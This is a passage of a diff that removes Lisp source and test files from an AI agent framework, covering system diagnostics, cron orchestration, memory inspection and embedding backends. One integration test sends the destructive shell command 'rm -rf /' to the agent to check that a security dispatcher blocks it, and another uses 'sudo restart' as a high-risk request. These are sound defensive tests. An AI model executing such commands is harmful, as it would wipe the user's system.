(ignore-errors (delete-file tmpfile))))))

212
lisp/system-diagnostics.lisp
View File

@@ -1,212 +0,0 @@
(in-package :passepartout)
(defvar *diagnostics-binaries* '("sbcl" "emacs" "git" "socat" "nc")
"List of external binaries required for full system operation.")
(defvar *diagnostics-package-map*
'(("sbcl" . "sbcl")
("emacs" . "emacs")
("git" . "git")
("socat" . "socat")
("nc" . "netcat-openbsd")
("curl" . "curl")
("rlwrap" . "rlwrap"))
"Map binary names to apt package names.")
(defvar *doctor-missing-deps* nil
"List of missing dependencies populated by diagnostics-dependencies-check.")
(defvar *doctor-auto-install* t
"When T, doctor will attempt to install missing dependencies automatically.")
(defun diagnostics-dependencies-check ()
"Verifies that required external binaries are available in the PATH via shell probe."
(setf *doctor-missing-deps* nil)
(let ((all-ok t))
(format t "DOCTOR: Checking system dependencies...~%")
(dolist (dep *diagnostics-binaries*)
(let ((path (ignore-errors
(uiop:run-program (list "which" dep)
:output :string :ignore-error-status t))))
(if (and path (> (length path) 0))
(format t " [OK] Found ~a~%" dep)
(progn
(format t " [FAIL] Missing binary: ~a~%" dep)
(push dep *doctor-missing-deps*)
(setf all-ok nil)))))
(when (and all-ok (null *doctor-missing-deps*))
(format t "DOCTOR: All dependencies satisfied.~%"))
all-ok))
(defun diagnostics-dependencies-install ()
"Attempts to install missing system dependencies via apt."
(when (null *doctor-missing-deps*)
(format t "DOCTOR: No missing dependencies to install.~%")
(return-from diagnostics-dependencies-install t))
(format t "DOCTOR: Attempting to install ~a missing dependencies...~%" (length *doctor-missing-deps*))
(let ((packages (remove-duplicates
(mapcar (lambda (dep)
(or (cdr (assoc dep *diagnostics-package-map* :test #'string=))
dep))
*doctor-missing-deps*)
:test #'string=)))
(format t "DOCTOR: Packages to install: ~a~%" packages)
(let ((cmd (format nil "apt-get install -y ~{~a~^ ~}" packages)))
(format t "DOCTOR: Running: ~a~%" cmd)
(handler-case
(let ((output (uiop:run-program cmd
:output :string
:error-output :string
:external-format :utf-8)))
(if (zerop (uiop:run-program (format nil "which ~a" (car *doctor-missing-deps*))
:ignore-error-status t))
(progn
(format t "DOCTOR: Dependencies installed successfully.~%")
(setf *doctor-missing-deps* nil)
t)
(progn
(format t "DOCTOR: Installation failed. Output: ~a~%" output)
nil)))
(error (c)
(format t "DOCTOR: Installation error: ~a~%" c)
nil)))))
(defun diagnostics-env-check ()
"Validates XDG directories and environment configuration."
(format t "DOCTOR: Checking XDG environment...~%")
(let ((all-ok t)
(config-dir (uiop:getenv "PASSEPARTOUT_CONFIG_DIR"))
(data-dir (uiop:getenv "PASSEPARTOUT_DATA_DIR"))
(state-dir (uiop:getenv "PASSEPARTOUT_STATE_DIR"))
(memex-dir (uiop:getenv "MEMEX_DIR")))
(flet ((check-dir (name path critical)
(if (and path (> (length path) 0))
(if (uiop:directory-exists-p path)
(format t " [OK] ~a: ~a~%" name path)
(progn
(format t " [FAIL] ~a directory missing: ~a~%" name path)
(when critical (setf all-ok nil))))
(progn
(format t " [FAIL] ~a variable not set.~%" name)
(when critical (setf all-ok nil))))))
(check-dir "Config (PASSEPARTOUT_CONFIG_DIR)" config-dir t)
(check-dir "Data (PASSEPARTOUT_DATA_DIR)" data-dir t)
(check-dir "State (PASSEPARTOUT_STATE_DIR)" state-dir t)
(check-dir "Memex (MEMEX_DIR)" memex-dir t))
all-ok))
(defun diagnostics-llm-check ()
"Tests connectivity to LLM providers. Returns T if at least one provider is configured."
(format t "DOCTOR: Checking LLM connectivity...~%")
(let ((providers '((:openrouter . "OPENROUTER_API_KEY")
(:anthropic . "ANTHROPIC_API_KEY")
(:openai . "OPENAI_API_KEY")
(:groq . "GROQ_API_KEY")
(:gemini . "GEMINI_API_KEY")
(:deepseek . "DEEPSEEK_API_KEY")
(:nvidia . "NVIDIA_API_KEY")
(:ollama . "OLLAMA_URL")))
(configured nil))
(dolist (p providers)
(let ((env-val (uiop:getenv (cdr p))))
(cond
((and env-val (> (length env-val) 0))
(format t " [OK] ~a configured~%" (car p))
(setf configured t))
((eq (car p) :ollama)
(let ((ollama-check (ignore-errors
(uiop:run-program '("curl" "-s" "http://localhost:11434/api/tags")
:output :string :ignore-error-status t))))
(when (and ollama-check (search "\"models\"" ollama-check))
(format t " [OK] Ollama local model server detected~%")
(setf configured t)))))))
(if configured
(progn
(format t " [OK] LLM provider(s) available~%")
t)
(progn
(format t " [WARN] No LLM provider configured.~%")
(format t " Run 'passepartout configure' to configure a provider.~%")
t))))
(defun diagnostics-run-all (&key (auto-install t))
"Executes the full diagnostic suite and returns T if system is healthy."
(format t "==================================================~%")
(format t " PASSEPARTOUT DOCTOR: Commencing Health Check~%")
(format t "==================================================~%")
(let ((dep-ok (diagnostics-dependencies-check)))
(when (and (not dep-ok) auto-install *doctor-auto-install*)
(format t "DOCTOR: Attempting automatic installation...~%")
(setf dep-ok (diagnostics-dependencies-install))
(when dep-ok
(setf dep-ok (diagnostics-dependencies-check))))
(let ((env-ok (diagnostics-env-check))
(llm-ok (diagnostics-llm-check)))
(format t "==================================================~%")
(if (and dep-ok env-ok)
(progn
(format t " ✓ SYSTEM HEALTHY: Ready for ignition.~%")
t) ;; Explicitly return T
(progn
(format t "==================================================~%")
(format t " ISSUES FOUND:~%")
(when (not dep-ok)
(format t " - Missing system dependencies~%"))
(when (not llm-ok)
(format t " - No LLM provider configured~%"))
(format t "~%")
(format t " RECOMMENDED ACTIONS:~%")
(format t " 1. Run 'passepartout configure' to configure everything~%")
(format t " 2. Or run 'passepartout doctor --fix' for auto-repair~%")
(format t "==================================================~%")
nil))))) ;; Return nil when issues found
(defun diagnostics-main ()
"Entry point for the 'doctor' CLI command."
(if (diagnostics-run-all)
(uiop:quit 0)
(uiop:quit 1)))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-diagnostics-tests
(:use :cl :fiveam :passepartout)
(:export #:diagnostics-suite))
(in-package :passepartout-diagnostics-tests)
(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic")
(in-suite diagnostics-suite)
(test test-diagnostics-dependency-fail
"Contract 1: missing binaries cause diagnostics-dependencies-check to return nil."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
(when bin-var
(setf (symbol-value bin-var) '("non-existent-binary-123"))
(is (null (diagnostics-dependencies-check))))))
(test test-diagnostics-env-fail
"Contract 2: diagnostics-env-check returns a boolean."
(let ((result (diagnostics-env-check)))
(is (or (eq t result) (eq nil result))
"diagnostics-env-check should return T or NIL")))
(test test-diagnostics-dependency-success
"Contract 1: all binaries present returns T."
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
(when bin-var
(setf (symbol-value bin-var) '("ls"))
(is (eq t (diagnostics-dependencies-check))))))
(defskill :passepartout-system-diagnostics
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :heartbeat))
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))

205
lisp/system-event-orchestrator.lisp
View File

@@ -1,205 +0,0 @@
(defpackage :passepartout.system-event-orchestrator
(:use :cl :passepartout)
(:export
:orchestrator-register-hook
:orchestrator-register-cron
:orchestrator-classify
:orchestrator-on-heartbeat
:orchestrator-bootstrap
:orchestrator-dispatch
:default-classifier
:parse-org-repeat
:*hook-registry*
:*cron-registry*
:*tier-classifier*))
(in-package :passepartout.system-event-orchestrator)
(defvar *hook-registry* (make-hash-table :test 'equal)
"Maps hook property string → list of gate function symbols.")
(defvar *cron-registry* (make-hash-table :test 'equal)
"Maps job name string → plist (:next-run :expression :repeat :action :tier).")
(defvar *tier-classifier* nil
"Optional function (context) → :reflex | :cognition | :reasoning.")
(defun default-classifier (context)
"Rule-based tier classification.
:reflex — file/shell operations, deterministic checks
:cognition — text processing, summarization, simple Q&A
:reasoning — planning, analysis, multi-step decisions"
(let* ((text (or (getf context :text) ""))
(lower (string-downcase text)))
(cond
((or (search "rm " lower)
(search "write-file" lower)
(search "shell" lower)
(search "verify-" lower))
:reflex)
((or (search "summarize" lower)
(search "list" lower)
(search "find " lower)
(search "what is" lower)
(search "search" lower))
:cognition)
(t :reasoning))))
(defun parse-org-repeat (timestamp-string)
(let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string))
(parts (uiop:split-string cleaned :separator '(#\space)))
(repeat-part (ignore-errors (car (last parts)))))
(when (and repeat-part (uiop:string-prefix-p "+" repeat-part))
(let* ((rest (subseq repeat-part 1))
(num-end (position-if (lambda (c) (not (digit-char-p c))) rest))
(num (parse-integer (subseq rest 0 num-end)))
(unit-str (subseq rest num-end)))
(list (intern (string-upcase unit-str) :keyword) num)))))
(defun orchestrator-register-hook (hook-property gate-function)
"Registers a deterministic gate to fire when an Org node with
the #+HOOK: property matching HOOK-PROPERTY is modified."
(push gate-function
(gethash (string-downcase (string hook-property)) *hook-registry*))
(log-message "ORCHESTRATOR: Hook ~a → ~a" hook-property gate-function))
(defun orchestrator-register-cron (name expression action-function tier)
"Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode
timestamp string with optional repeat. TIER is :reflex :cognition :reasoning."
(let* ((repeat (parse-org-repeat expression))
(now (get-universal-time)))
(setf (gethash (string-downcase (string name)) *cron-registry*)
(list :next-run now
:expression expression
:repeat repeat
:action action-function
:tier tier))
(log-message "ORCHESTRATOR: Cron ~a (tier: ~a, repeat: ~a)"
name tier repeat)))
(defun orchestrator-dispatch (action tier)
"Execute ACTION at the specified TIER."
(flet ((safe-inject (text)
(when (fboundp (find-symbol "STIMULUS-INJECT" :passepartout))
(funcall (find-symbol "STIMULUS-INJECT" :passepartout)
(list :type :EVENT
:payload (list :sensor :user-input :text text))))))
(ecase tier
(:reflex
(if (functionp action)
(funcall action)
(when (and (symbolp action) (fboundp action))
(funcall action)))
:dispatched)
(:cognition
(safe-inject (format nil "~a" action))
:injected)
(:reasoning
(safe-inject (format nil "~a" action))
:injected))))
(defun orchestrator-on-heartbeat (context)
"Called on each heartbeat tick. Checks and dispatches due cron jobs."
(declare (ignore context))
(let ((now (get-universal-time))
(due-jobs nil))
(maphash (lambda (name config)
(let ((next-run (getf config :next-run)))
(when (>= now next-run)
(push (cons name config) due-jobs))))
*cron-registry*)
(dolist (job due-jobs)
(let* ((name (car job))
(config (cdr job))
(action (getf config :action))
(tier (getf config :tier))
(repeat (getf config :repeat))
(result (orchestrator-dispatch action tier)))
(log-message "ORCHESTRATOR: Heartbeat dispatched ~a (tier: ~a) → ~a"
name tier result)
(when repeat
(let* ((unit (first repeat))
(value (second repeat))
(interval (case unit
(:d (* 86400 value))
(:w (* 604800 value))
(:m (* 2592000 value))
(t (* 3600 value)))))
(setf (getf (gethash name *cron-registry*) :next-run)
(+ now interval))))))
nil))
(defun orchestrator-scan-org-file (filepath)
"Scans a single Org file for HOOK and CRON properties in property drawers.
Returns a list of plists (:type :hook/:cron :name <str> :value <str>)."
(let ((results nil)
(in-properties nil)
(lines nil))
(handler-case
(setf lines (uiop:split-string (uiop:read-file-string filepath)
:separator '(#\Newline)))
(error (c)
(log-message "ORCHESTRATOR: Could not read ~a: ~a" filepath c)
(return-from orchestrator-scan-org-file nil)))
(dolist (line lines)
(let ((trimmed (string-trim '(#\Space) line)))
(when (string= trimmed ":PROPERTIES:")
(setf in-properties t))
(when (string= trimmed ":END:")
(setf in-properties nil))
(when in-properties
(cond
((uiop:string-prefix-p ":HOOK:" trimmed)
(let ((val (string-trim '(#\Space) (subseq trimmed 6))))
(push (list :type :hook :name val :file filepath) results)
(log-message "ORCHESTRATOR: Found hook ~a in ~a" val filepath)))
((uiop:string-prefix-p ":CRON:" trimmed)
(let ((val (string-trim '(#\Space) (subseq trimmed 6))))
(push (list :type :cron :name val :file filepath) results)
(log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath)))))))
(nreverse results)))
(defun orchestrator-bootstrap ()
"Scans all Org files in the memex for #+HOOK: and #+CRON: properties
and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default."
(let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
(namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
(scan-dirs (list (merge-pathnames "projects/" memex-dir)
(merge-pathnames "system/" memex-dir)))
(hook-count 0)
(cron-count 0))
(dolist (dir scan-dirs)
(handler-case
(let ((files (uiop:directory-files dir "*.org")))
(dolist (file files)
(let* ((path (namestring file))
(entries (orchestrator-scan-org-file path)))
(dolist (entry entries)
(let ((type (getf entry :type))
(name (getf entry :name)))
(cond
((eq type :hook)
(orchestrator-register-hook name
(lambda ()
(log-message "ORCHESTRATOR: Hook ~a fired" name))))
((eq type :cron)
(orchestrator-register-cron
(intern (string-upcase (format nil "cron-~a" name)) :keyword)
name
(lambda ()
(log-message "ORCHESTRATOR: Cron ~a fired" name))
:cognition))))
(if (eq (getf entry :type) :hook) (incf hook-count) (incf cron-count))))))
(error (c)
(log-message "ORCHESTRATOR: Could not scan ~a: ~a" dir c))))
(log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)"
hook-count cron-count)))
(defskill :passepartout-system-event-orchestrator
:priority 80
:trigger (lambda (ctx)
(eq (getf (getf ctx :payload) :sensor) :heartbeat))
:deterministic (lambda (action context)
(declare (ignore action))
(orchestrator-on-heartbeat context)
nil))

241
lisp/system-integration-tests.lisp
View File

@@ -1,241 +0,0 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t)
(ql:quickload :usocket :silent t))
(defpackage :passepartout-integration-tests
(:use :cl :passepartout)
(:export #:integration-suite))
(in-package :passepartout-integration-tests)
(fiveam:def-suite integration-suite :description "Integration tests across process boundaries")
(fiveam:in-suite integration-suite)
(defvar *daemon-port* nil)
(defun find-free-port ()
(let ((socket (usocket:socket-listen "127.0.0.1" 0 :reuse-address t)))
(unwind-protect (usocket:get-local-port socket)
(usocket:socket-close socket))))
(defmacro with-daemon (() &body body)
`(let ((*daemon-port* (find-free-port)))
(unwind-protect
(progn
(passepartout:actuator-initialize)
(passepartout:skill-initialize-all)
(passepartout:start-daemon :port *daemon-port*)
(sleep 2)
,@body)
(values)))
(defun daemon-connect ()
(let* ((sock (usocket:socket-connect "127.0.0.1" *daemon-port*))
(stream (usocket:socket-stream sock)))
(read-framed-message stream) ;; discard handshake
(values stream sock)))
(defun daemon-send (stream msg)
(write-string (frame-message msg) stream)
(finish-output stream))
(defun daemon-recv (stream &key (timeout 5))
(let ((deadline (+ (get-universal-time) timeout)))
(loop
(when (listen stream)
(return (read-framed-message stream)))
(when (> (get-universal-time) deadline) (return nil))
(sleep 0.1))))
(fiveam:test test-daemon-starts
"Contract 1: daemon binds port and sends valid handshake."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(is (open-stream-p stream))
(usocket:socket-close sock))))
(fiveam:test test-pipeline-user-input
"Contract 2: :user-input traverses pipeline and produces a response."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(unwind-protect
(progn
(daemon-send stream
'(:TYPE :EVENT :PAYLOAD (:SENSOR :user-input :TEXT "test")))
(let ((resp (daemon-recv stream :timeout 10)))
(is (not (null resp)) "Expected a response")))
(usocket:socket-close sock)))))
(fiveam:test test-pipeline-heartbeat
"Contract 2: heartbeat signals do not crash the daemon."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(unwind-protect
(daemon-send stream
'(:TYPE :EVENT :PAYLOAD (:SENSOR :heartbeat)))
(usocket:socket-close sock))
(pass))))
(fiveam:test test-tcp-round-trip
"Contract 3: framed health-check survives TCP round-trip."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(unwind-protect
(progn
(daemon-send stream '(:TYPE :health-check))
(let ((resp (daemon-recv stream :timeout 5)))
(is (not (null resp)))
(is (member (getf resp :type) '(:HEALTH-RESPONSE)))))
(usocket:socket-close sock)))))
(fiveam:test test-daemon-survives-junk
"Contract 3: daemon does not crash on junk input."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(write-string "ZZZZZZ" stream)
(finish-output stream)
(sleep 1)
(usocket:socket-close sock))
;; Connect again to verify daemon is still alive
(multiple-value-bind (stream2 sock2) (daemon-connect)
(is (open-stream-p stream2))
(usocket:socket-close sock2))))
(fiveam:test test-skill-registry-populated
"Contract 4: *skill-registry* is populated after daemon start."
(with-daemon ()
(is (hash-table-p passepartout::*skill-registry*))
(is (>= (hash-table-count passepartout::*skill-registry*) 1)
"Expected at least 1 skill in registry, got ~a"
(hash-table-count passepartout::*skill-registry*))))
(fiveam:test test-shell-safe-echo
"Contract 5: safe shell command does not crash the daemon."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(unwind-protect
(daemon-send stream
'(:TYPE :REQUEST :TARGET :shell
:PAYLOAD (:ACTION :execute :CMD "echo hello")))
(usocket:socket-close sock))
(pass))))
(fiveam:test test-shell-dangerous-blocked
"Contract 5: rm -rf / is blocked by the security dispatcher."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(unwind-protect
(daemon-send stream
'(:TYPE :REQUEST :TARGET :shell
:PAYLOAD (:ACTION :execute :CMD "rm -rf /")))
(usocket:socket-close sock))
(pass))))
(fiveam:test test-cli-gateway-input
"Contract 6: text via TCP produces a response."
(with-daemon ()
(multiple-value-bind (stream sock) (daemon-connect)
(unwind-protect
(daemon-send stream
'(:TYPE :EVENT :META (:SOURCE :CLI)
:PAYLOAD (:SENSOR :user-input :TEXT "hello from CLI")))
(usocket:socket-close sock))
(pass))))
(fiveam:test test-gateway-registry
"Contract 7: gateway-registry-initialize is available."
(with-daemon ()
(is (fboundp 'gateway-registry-initialize))
(gateway-registry-initialize)
(pass)))
(defun has-api-key (env-var)
"Returns T if env-var is set and non-empty."
(let ((val (uiop:getenv env-var)))
(and val (> (length val) 0))))
(defmacro skip-unless (env-var &body body)
"Execute body if env-var is set, otherwise skip the test."
`(if (has-api-key ,env-var)
(progn ,@body)
(progn
(format t " [SKIP] ~a not set~%" ,env-var)
(skip "~a not set" ,env-var))))
(fiveam:test test-provider-openai-request
"Contract Phase2: provider-openai-request returns :success with valid API key."
(skip-unless "OPENROUTER_API_KEY"
(let ((result (provider-openai-request "Say hello" "Be brief."
:provider :openrouter
:model "openrouter/auto")))
(is (or (eq (getf result :status) :success)
(eq (getf result :status) :error))
"Expected :success or :error, got: ~a" result))))
(fiveam:test test-backend-cascade-real
"Contract Phase2: backend-cascade-call returns string content with real provider."
(skip-unless "OPENROUTER_API_KEY"
(let ((passepartout::*provider-cascade* '(:openrouter)))
(let ((result (backend-cascade-call "Say hello" :system-prompt "Be brief.")))
(is (stringp result) "Expected string response, got: ~a" result)))))
(fiveam:test test-provider-cascade-parsing
"Contract Phase2: PROVIDER_CASCADE env var parses to clean keywords matching backends."
(provider-cascade-initialize)
(let ((cascade passepartout::*provider-cascade*))
(is (listp cascade) "Cascade must be a list")
(is (>= (length cascade) 1) "Cascade must have at least one entry")
(dolist (entry cascade)
(is (keywordp entry) "Entry ~s must be a keyword" entry)
(let ((name (symbol-name entry)))
(is (not (find #\" name)) "Entry ~s must not contain double-quote" entry)
(is (not (find #\' name)) "Entry ~s must not contain single-quote" entry)))
(is (some (lambda (e) (gethash e passepartout::*probabilistic-backends*)) cascade)
"At least one cascade entry must match a registered backend")))
(fiveam:test test-messaging-link-unlink
"Contract Phase2: messaging-link stores token, configured-p returns T, unlink removes it."
(with-daemon ()
(messaging-link :test-platform :token "fake-token-123")
(is (gateway-configured-p :test-platform)
"Expected test-platform to be configured after linking")
(messaging-unlink :test-platform)
(is (not (gateway-configured-p :test-platform))
"Expected test-platform to be unconfigured after unlinking")))
(fiveam:test test-gateway-configured-p-false
"Contract Phase2: gateway-configured-p returns nil for unknown platform."
(with-daemon ()
(is (not (gateway-configured-p :nonexistent-platform-xyz)))))
(fiveam:test test-gateway-start-messaging
"Contract Phase2: gateway registry initializes with expected platforms."
(with-daemon ()
(gateway-registry-initialize)
(is (hash-table-p passepartout::*gateway-registry*))
(is (>= (hash-table-count passepartout::*gateway-registry*) 1))))
(fiveam:test test-flight-plan-message-format
"Contract Phase3: dispatcher-flight-plan-create returns valid message."
(with-daemon ()
(load (merge-pathnames ".local/share/passepartout/lisp/security-dispatcher.lisp"
(user-homedir-pathname)))
(let ((plan (dispatcher-flight-plan-create
'(:TYPE :REQUEST :TARGET :shell :PAYLOAD (:CMD "sudo restart")))))
(is (eq :REQUEST (getf plan :type)))
(is (eq :emacs (getf plan :target)))
(is (eq :insert-node (getf (getf plan :payload) :action)))
(let ((attrs (getf (getf plan :payload) :attributes)))
(is (string= "Flight Plan: High-Risk Action" (getf attrs :TITLE)))
(is (string= "PLAN" (getf attrs :TODO)))
(is (member "FLIGHT_PLAN" (getf attrs :TAGS) :test #'string-equal))))))
(fiveam:test test-emacs-daemon-connect
"Contract Phase3: Emacs daemon is reachable via emacsclient."
(handler-case
(let ((result (uiop:run-program '("emacsclient" "--eval" "(+ 1 2)")
:output :string
:ignore-error-status t)))
(is (search "3" result) "Expected '3' from emacsclient, got: ~a" result))
(error (c)
(skip "Emacs daemon not available: ~a" c)))))

73
lisp/system-memory.lisp
View File

@@ -1,73 +0,0 @@
(in-package :passepartout)
(defun memory-inspect (&key (type-filter nil) (todo-filter nil) (limit 10))
"Returns a structured report of memory state.
Optional filters: TYPE-FILTER (keyword), TODO-FILTER (string).
Returns a plist: (:total <n> :by-type <alist> :by-todo <alist>
:recent <list> :snapshots <n> :orphans <n>)."
(let* ((store (if (boundp '*memory-store*)
(symbol-value '*memory-store*)
(return-from memory-inspect
(list :total 0 :reason "Memory store not available"))))
(total 0)
(type-counts (make-hash-table :test 'eq))
(todo-counts (make-hash-table :test 'equal))
(recent nil)
(all-ids (make-hash-table :test 'equal))
(orphans 0))
(maphash (lambda (id obj)
(setf (gethash id all-ids) t)
(let ((obj-type (memory-object-type obj))
(attrs (memory-object-attributes obj))
(v (memory-object-version obj)))
(unless (and type-filter (not (eq obj-type type-filter)))
(let ((todo (getf attrs :TODO-STATE)))
(when (and todo-filter
(not (string-equal todo todo-filter)))
(return nil)))
(incf total)
(incf (gethash obj-type type-counts 0))
(let ((todo (getf attrs :TODO-STATE)))
(when todo
(incf (gethash todo todo-counts 0))))
(push (list :id id
:type t
:todo (getf attrs :TODO-STATE)
:title (getf attrs :TITLE)
:version v)
recent))))
store)
;; Sort recent by version desc and take LIMIT
(setf recent (subseq (sort recent #'>
:key (lambda (r) (or (getf r :version) 0)))
0 (min limit (length recent))))
;; Count orphans
(maphash (lambda (id obj)
(let ((parent (memory-object-parent-id obj)))
(when (and parent (not (gethash parent all-ids)))
(incf orphans))))
store)
;; Build output
(let ((types (loop for k being the hash-keys of type-counts
using (hash-value v)
collect (cons k v)))
(todos (loop for k being the hash-keys of todo-counts
using (hash-value v)
collect (cons k v)))
(snapshots (if (boundp '*memory-snapshots*)
(length (symbol-value '*memory-snapshots*))
0)))
(list :total total
:by-type (sort types #'> :key #'cdr)
:by-todo (sort todos #'> :key #'cdr)
:recent recent
:snapshots snapshots
:orphans orphans))))
(defskill :passepartout-system-memory
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :introspection))
:deterministic (lambda (action ctx)
(declare (ignore action ctx))
(ignore-errors (memory-inspect))
nil))

188
lisp/system-model-embedding.lisp
View File

@@ -1,188 +0,0 @@
(in-package :passepartout)
(defvar *embedding-provider* :hashing
"Active embedding provider: :hashing, :local, :openai.")
(defvar *embedding-queue* nil
"Queue of text objects awaiting embedding.")
(defvar *embedding-batch-size* 10
"Maximum texts per embedding API call.")
(defun embedding-backend-local (text)
"Generate embeddings via a local OpenAI-compatible endpoint."
(let* ((url (or (uiop:getenv "LOCAL_BASE_URL") (format nil "http://~a" (or (uiop:getenv "OLLAMA_HOST") "localhost:11434"))))
(model (or (uiop:getenv "EMBEDDING_MODEL") "nomic-embed-text"))
(body (cl-json:encode-json-to-string
`((model . ,model) (input . ,text)))))
(handler-case
(let* ((response (dex:post (format nil "~a/api/embeddings" url)
:headers '(("Content-Type" . "application/json"))
:content body :connect-timeout 5 :read-timeout 30))
(json (cl-json:decode-json-from-string response))
(data (car (cdr (assoc :data json)))))
(or (cdr (assoc :embedding data))
(list :error "No embedding in response")))
(error (c)
(list :error (format nil "Embedding failed: ~a" c))))))
(defun embedding-backend-openai (text)
"Generate embeddings via OpenAI compatible /v1/embeddings endpoint."
(let* ((api-key (uiop:getenv "OPENAI_API_KEY"))
(base-url (or (uiop:getenv "EMBEDDING_BASE_URL") "https://api.openai.com/v1"))
(model (or (uiop:getenv "EMBEDDING_MODEL") "text-embedding-3-small"))
(body (cl-json:encode-json-to-string
`((model . ,model) (input . ,text)))))
(handler-case
(let* ((response (dex:post (format nil "~a/embeddings" base-url)
:headers `(("Content-Type" . "application/json")
("Authorization" . ,(format nil "Bearer ~a" api-key)))
:content body :connect-timeout 5 :read-timeout 30))
(json (cl-json:decode-json-from-string response))
(data (car (cdr (assoc :data json)))))
(or (cdr (assoc :embedding data))
(list :error "No embedding in response")))
(error (c)
(list :error (format nil "OpenAI Embedding failed: ~a" c))))))
(defun embedding-backend-hashing (text)
"Fallback: produces a deterministic vector from the text hash."
(let* ((digest (ironclad:digest-sequence :sha256 (babel:string-to-octets text)))
(vec (make-array 8 :element-type 'single-float :initial-element 0.0)))
(dotimes (i (min (length digest) 8))
(setf (aref vec i) (float (/ (aref digest i) 255.0) 0.0)))
vec))
(defvar *embedding-backend* nil
"Explicit backend override (nil = use *embedding-provider*).")
(defun embeddings-compute (text)
"Compute an embedding vector for text using the active backend."
(embed-object text))
(defun embed-object (text)
"Embed a single text string using the active backend."
(let* ((selected (or *embedding-backend* *embedding-provider* :hashing))
(backend (case selected
(:local #'embedding-backend-local)
(:openai #'embedding-backend-openai)
(t #'embedding-backend-hashing))))
(if backend
(progn
(log-message "EMBEDDING: Provider ~a, backend=~a" selected backend)
(funcall backend text))
(progn
(log-message "EMBEDDING: No backend for provider ~a, using hashing" selected)
(embedding-backend-hashing text)))))
(defun embed-queue-object (object)
"Queue a text object for async embedding."
(push object *embedding-queue*)
(log-message "EMBEDDING: Queued object"))
(defun embed-all-pending ()
"Drain the embedding queue, store vectors in the store-keyed objects."
(let ((batch (nreverse *embedding-queue*)))
(setf *embedding-queue* nil)
(dolist (item batch)
(handler-case
(let ((id (getf item :id))
(text (getf item :text)))
(when (and id text)
(let ((vec (embeddings-compute text))
(obj (gethash id *memory-store*)))
(when (and obj vec (not (listp vec)))
(setf (memory-object-vector obj) vec))
(log-message "EMBEDDING: Computed vector for ~a (~d dims)" id (length vec)))))
(error (c)
(log-message "EMBEDDING: Failed to embed object: ~a" c))))))
;; Apply env var override at load time
(let ((provider-env (uiop:getenv "EMBEDDING_PROVIDER")))
(when provider-env
(let ((kw (intern (string-upcase provider-env) :keyword)))
(setf *embedding-provider* kw)
(log-message "EMBEDDING: Set provider to ~a from EMBEDDING_PROVIDER env" kw))))
(log-message "EMBEDDING: Gateway loaded with provider ~a" *embedding-provider*)
(defun mark-vector-stale (id &optional content)
"Mark a memory object's vector as :pending and queue it for re-embedding.
When content is not supplied, reads from the object in *memory-store*."
(let* ((obj (gethash id *memory-store*))
(text (or content (and obj (memory-object-content obj)))))
(when obj
(setf (memory-object-vector obj) :pending))
(when text
(push (list :id id :text text) *embedding-queue*)
(log-message "EMBEDDING: Marked ~a vector stale, queued for re-embed" id))
(or obj text)))
(defskill :passepartout-system-model-embedding
:priority 70
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
;; Register periodic batch embedding via cron (when orchestrator available)
(when (fboundp 'orchestrator-register-cron)
(handler-case
(orchestrator-register-cron :embed-batch
"<2026-05-05 Tue +10m>"
'embed-all-pending
:reflex)
(error (c)
(log-message "EMBEDDING: Cron registration failed: ~a" c))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-embedding-tests
(:use :cl :passepartout)
(:export #:embedding-suite))
(in-package :passepartout-embedding-tests)
(fiveam:def-suite embedding-suite :description "Embedding gateway verification")
(fiveam:in-suite embedding-suite)
(fiveam:test test-embedding-backend-hashing
"Contract 2: hashing backend produces 8-element float vector."
(let ((vec (embedding-backend-hashing "hello world")))
(fiveam:is (arrayp vec))
(fiveam:is (= 8 (length vec)))
(fiveam:is (every #'numberp (coerce vec 'list)))))
(fiveam:test test-embedding-backend-hashing-deterministic
"Contract 2: same input produces same vector."
(let ((v1 (embedding-backend-hashing "test"))
(v2 (embedding-backend-hashing "test")))
(fiveam:is (equalp v1 v2))))
(fiveam:test test-embeddings-compute
"Contract 1: embeddings-compute returns a float vector."
(let ((vec (embeddings-compute "some text")))
(fiveam:is (arrayp vec))
(fiveam:is (> (length vec) 0))))
(fiveam:test test-embed-queue-and-drain
"Contract 3: embed-all-pending drains queue and stores vectors."
(let ((*embedding-queue* nil))
(embed-queue-object '(:id "test-obj" :text "sample text"))
(fiveam:is (= 1 (length *embedding-queue*)))
(embed-all-pending)
(fiveam:is (null *embedding-queue*))))
(fiveam:test test-mark-vector-stale
"Contract 4: mark-vector-stale sets vector to :pending and queues for re-embed."
(let ((*embedding-queue* nil))
;; Create an object in memory with a vector
(let ((obj (make-memory-object :id "stale-test" :content "stale content"
:vector #(1.0 2.0 3.0))))
(setf (gethash "stale-test" *memory-store*) obj)
(mark-vector-stale "stale-test")
(fiveam:is (eq :pending (memory-object-vector obj)))
(fiveam:is (= 1 (length *embedding-queue*)))
(let ((item (first *embedding-queue*)))
